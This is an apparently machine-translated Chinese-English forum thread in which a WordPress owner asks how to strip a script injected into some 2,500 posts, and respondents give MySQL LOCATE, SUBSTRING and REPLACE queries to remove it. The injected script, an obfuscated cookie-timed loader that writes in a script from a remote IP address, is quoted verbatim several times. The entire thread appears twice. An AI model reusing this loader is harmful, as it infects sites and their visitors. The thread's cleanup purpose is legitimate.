如何从 sql 注入攻击中删除帖子中的脚本?
How to remove scripts in posts from an sql injection attack?
我有一个插件使我的 Wordpress 网站容易受到 SQL 注入攻击。从那以后,我锁定了我的网站并删除了所有 Wordpress 文件,然后重新安装了 Wordpress。该插件也已被删除。不幸的是,我现在已经安装了以下示例脚本的所有 2503 posts:
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->
问题是,当我搜索特定脚本时,base64 字符串对于 每个 post 都是不同的。所以我不能只做一个查找和 replace/remove。
我的想法是,由于脚本的开头和结尾实际上已被注释,数据库查询不能以某种方式删除它们之间的代码然后第二个查询删除注释吗?如果是这样,我无法在任何地方找到它。这看起来很容易做到,但显然(根据 Google)这很复杂。
希望有人能有程序上的补救措施。与此同时,我将手动执行此删除操作,希望有人能为我节省一些时间。
MySQL 8.0引入了一个新功能REGEXP_REPLACE() but if you are using an earlier version of MySQL, you could use LOCATE()来查找文本中的开始和结束位置,然后将这两个位置之间的内容切掉。
我对此进行了测试 — 我创建了一个 table wp_mytable
并将您的冒犯性文本放入其中,前后都有一些文本。
mysql> select * from wp_mytable\G
*************************** 1. row ***************************
id: 1
txt: ABC 123
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"></script>')} </script>
<!--/codes_iframe-->
And that's all, folks.
1 row in set (0.00 sec)
LOCATE() 可以找到打开和关闭标签:
mysql> SELECT LOCATE('<!--codes_iframe-->', txt) as start from wp_mytable;
+-------+
| start |
+-------+
| 9 |
+-------+
mysql> SELECT LOCATE('<!--/codes_iframe-->', txt) as end from wp_mytable;
+------+
| end |
+------+
| 830 |
+------+
现在如果我们将txt
替换为位置9之前和位置830+之后的内容+LENGTH('<!--/codes_iframe-->')
,将删除问题内容。
先用 SELECT 测试一下:
mysql> SELECT
SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1) AS pre_txt,
SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')) AS post_txt
FROM wp_mytable\G
*************************** 1. row ***************************
pre_txt: ABC 123
post_txt:
And that's all, folks.
当我们确信这是正确的子字符串时,将这些片段连接在一起并在 UPDATE 中使用它们:
mysql> UPDATE wp_mytable SET txt = CONCAT(
SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1),
SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')))
WHERE LOCATE('<!--codes_iframe-->', txt) > 0;
一如既往,在尝试此类手术之前备份您的数据。
我还想到,您应该在完成此替换后再次搜索数据,以防违规脚本在给定文本中插入两次。替换方法只删除第一次出现,但你想要那个。您不希望删除两次出现的脚本之间的合法文本。
顺便说一句,得知您因 SQL 注入攻击而被黑,我深感遗憾。人有时很烂。
只是想添加到这个线程,因为我发现它很有帮助,但与发布的答案有点不同。
最主要的是,我的 wordpress 数据库中的攻击被附加到很多很多 wp_posts 的末尾。所以,我不需要重新附加两个字符串,只需从末尾 trim 开始。
不确定这是最好的版本,但这是对我有用的版本(在使用 SELECT 测试之后)并清除了将近 3,000 个有问题的代码帖子:
UPDATE wp_posts SET post_content =
SUBSTRING(post_content, 1, LOCATE('<!--codes_iframe-->', post_content)-1)
WHERE LOCATE('<!--codes_iframe-->', post_content) >0;
感谢您帮助我的网站最终清理干净!
您可以尝试使用函数 replace
这最可靠:
UPDATE wp_posts SET post_content = replace(post_content, '<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->',
'');
我有一个插件使我的 Wordpress 网站容易受到 SQL 注入攻击。从那以后,我锁定了我的网站并删除了所有 Wordpress 文件,然后重新安装了 Wordpress。该插件也已被删除。不幸的是,我现在已经安装了以下示例脚本的所有 2503 posts:
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->
问题是,当我搜索特定脚本时,base64 字符串对于 每个 post 都是不同的。所以我不能只做一个查找和 replace/remove。
我的想法是,由于脚本的开头和结尾实际上已被注释,数据库查询不能以某种方式删除它们之间的代码然后第二个查询删除注释吗?如果是这样,我无法在任何地方找到它。这看起来很容易做到,但显然(根据 Google)这很复杂。
希望有人能有程序上的补救措施。与此同时,我将手动执行此删除操作,希望有人能为我节省一些时间。
MySQL 8.0引入了一个新功能REGEXP_REPLACE() but if you are using an earlier version of MySQL, you could use LOCATE()来查找文本中的开始和结束位置,然后将这两个位置之间的内容切掉。
我对此进行了测试 — 我创建了一个 table wp_mytable
并将您的冒犯性文本放入其中,前后都有一些文本。
mysql> select * from wp_mytable\G
*************************** 1. row ***************************
id: 1
txt: ABC 123
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"></script>')} </script>
<!--/codes_iframe-->
And that's all, folks.
1 row in set (0.00 sec)
LOCATE() 可以找到打开和关闭标签:
mysql> SELECT LOCATE('<!--codes_iframe-->', txt) as start from wp_mytable;
+-------+
| start |
+-------+
| 9 |
+-------+
mysql> SELECT LOCATE('<!--/codes_iframe-->', txt) as end from wp_mytable;
+------+
| end |
+------+
| 830 |
+------+
现在如果我们将txt
替换为位置9之前和位置830+之后的内容+LENGTH('<!--/codes_iframe-->')
,将删除问题内容。
先用 SELECT 测试一下:
mysql> SELECT
SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1) AS pre_txt,
SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')) AS post_txt
FROM wp_mytable\G
*************************** 1. row ***************************
pre_txt: ABC 123
post_txt:
And that's all, folks.
当我们确信这是正确的子字符串时,将这些片段连接在一起并在 UPDATE 中使用它们:
mysql> UPDATE wp_mytable SET txt = CONCAT(
SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1),
SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')))
WHERE LOCATE('<!--codes_iframe-->', txt) > 0;
一如既往,在尝试此类手术之前备份您的数据。
我还想到,您应该在完成此替换后再次搜索数据,以防违规脚本在给定文本中插入两次。替换方法只删除第一次出现,但你想要那个。您不希望删除两次出现的脚本之间的合法文本。
顺便说一句,得知您因 SQL 注入攻击而被黑,我深感遗憾。人有时很烂。
只是想添加到这个线程,因为我发现它很有帮助,但与发布的答案有点不同。
最主要的是,我的 wordpress 数据库中的攻击被附加到很多很多 wp_posts 的末尾。所以,我不需要重新附加两个字符串,只需从末尾 trim 开始。
不确定这是最好的版本,但这是对我有用的版本(在使用 SELECT 测试之后)并清除了将近 3,000 个有问题的代码帖子:
UPDATE wp_posts SET post_content =
SUBSTRING(post_content, 1, LOCATE('<!--codes_iframe-->', post_content)-1)
WHERE LOCATE('<!--codes_iframe-->', post_content) >0;
感谢您帮助我的网站最终清理干净!
您可以尝试使用函数 replace
这最可靠:
UPDATE wp_posts SET post_content = replace(post_content, '<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->',
'');